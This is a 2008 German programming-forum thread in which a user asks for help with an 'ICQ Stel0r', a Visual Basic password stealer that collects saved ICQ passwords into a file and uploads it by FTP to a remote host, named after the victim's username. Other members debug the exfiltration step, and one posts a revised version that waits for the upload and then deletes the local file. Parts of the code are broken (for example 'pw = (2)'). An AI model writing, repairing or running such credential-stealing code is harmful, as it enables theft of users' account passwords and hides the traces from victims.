|
| Autor |
Nachricht |
big earl_ Coder


Anmeldedatum: 11.05.2007 Beiträge: 208
|
FTP Funktion funktioniert nicht
Verfasst am: 17.03.2008, 19:27 |
|
|
Also ich wollte nen ICQ Stel0r machen, die PW's liest der auch aus und speichert die, aber hochladen geht net
hier der Code
| Code: | cmd = Split(options, "#")
host = cmd(0)
user = cmd(1)
pw = (2)
LocalFile = "C:\ICQ6_PWS.txt"
If FileExists(LocalFile) Then
Kill LocalFile
End If
blablabal
blablalba
Dim RemoteFile As String
RemoteFile = Environ("USERNAME") + "_ICQ_PWS.txt"
With Inet1
.AccessType = icDirect
.Protocol = icFTP
.RemotePort = "21"
.URL = host
.UserName = user
.Password = pw
.Execute , "PUT " + LocalFile + " " + RemoteFile
End With
MsgBox "Upload done", , "Done" |
doch der kommt nicht ma bis zur Message
also muss der ja beim FTP upload stehen bleiben, doch welbst wenn ich den mit DoEvents 100 Minuten warten lasse, passiert nicht
zur info, ich habs auf nem extra.hu server probiert
Edit by tr4st: Gib dir mehr Mühe beim wählen deines Topics!
Sry werds mir merken
Zuletzt bearbeitet von big earl_ am 17.03.2008, 19:35, insgesamt einmal bearbeitet |
|
| |
|
 |
marcel1994_ Coder

Anmeldedatum: 08.02.2008 Beiträge: 202
|
Verfasst am: 17.03.2008, 19:29 |
|
|
sowie ich das sehe hast du LocalFile nicht definiert (dim Localfile as string)
Aber kp ob das dadran liegt... sieht im ersten moment gut aus und scheint fehlerfrei zusein! |
|
| |
|
 |
big earl_ Coder


Anmeldedatum: 11.05.2007 Beiträge: 208
|
Verfasst am: 17.03.2008, 19:34 |
|
|
| nope, bleibt so |
|
| |
|
 |
Tix_ Tutorial Leser

Anmeldedatum: 08.06.2007 Beiträge: 51
|
Verfasst am: 18.03.2008, 14:12 |
|
|
| big earl hat Folgendes geschrieben: |
LocalFile = "C:\ICQ6_PWS.txt"
If FileExists(LocalFile) Then
Kill LocalFile
End If
|
Zuerst definierst du LocalFile, dann checkst du ob es da ist und wenn es da ist soll es gelöscht werden, wie soll es dann uploaden ? |
|
| |
|
 |
marcel1994_ Coder

Anmeldedatum: 08.02.2008 Beiträge: 202
|
Verfasst am: 18.03.2008, 14:22 |
|
|
Jau da sist mir garnicht aufgefallen! Du musst es so machen, das ist dein code:
| Code: | cmd = Split(options, "#")
host = cmd(0)
user = cmd(1)
pw = (2)
LocalFile = "C:\ICQ6_PWS.txt"
If FileExists(LocalFile) Then
Kill LocalFile
End If
blablabal
blablalba
Dim RemoteFile As String
RemoteFile = Environ("USERNAME") + "_ICQ_PWS.txt"
With Inet1
.AccessType = icDirect
.Protocol = icFTP
.RemotePort = "21"
.URL = host
.UserName = user
.Password = pw
.Execute , "PUT " + LocalFile + " " + RemoteFile
End With
MsgBox "Upload done", , "Done" |
So sähe meiner aus:
| Code: | cmd = Split(options, "#")
host = cmd(0)
user = cmd(1)
pw = (2)
blablabal
blablalba
Dim LocalFile as string
LocalFile = LocalFile = "C:\ICQ6_PWS.txt"
Dim RemoteFile As String
RemoteFile = Environ("USERNAME") + "_ICQ_PWS.txt"
With Inet1
.AccessType = icDirect
.Protocol = icFTP
.RemotePort = "21"
.URL = host
.UserName = user
.Password = pw
.Execute , "PUT " + LocalFile + " " + RemoteFile
End With
Do While Inet1.StillExecuting = True
DoEvents
Loop
LocalFile = "C:\ICQ6_PWS.txt"
If FileExists(LocalFile) Then
Kill LocalFile
End If
MsgBox "Upload done", , "Done"
|
|
|
| |
|
 |
|
|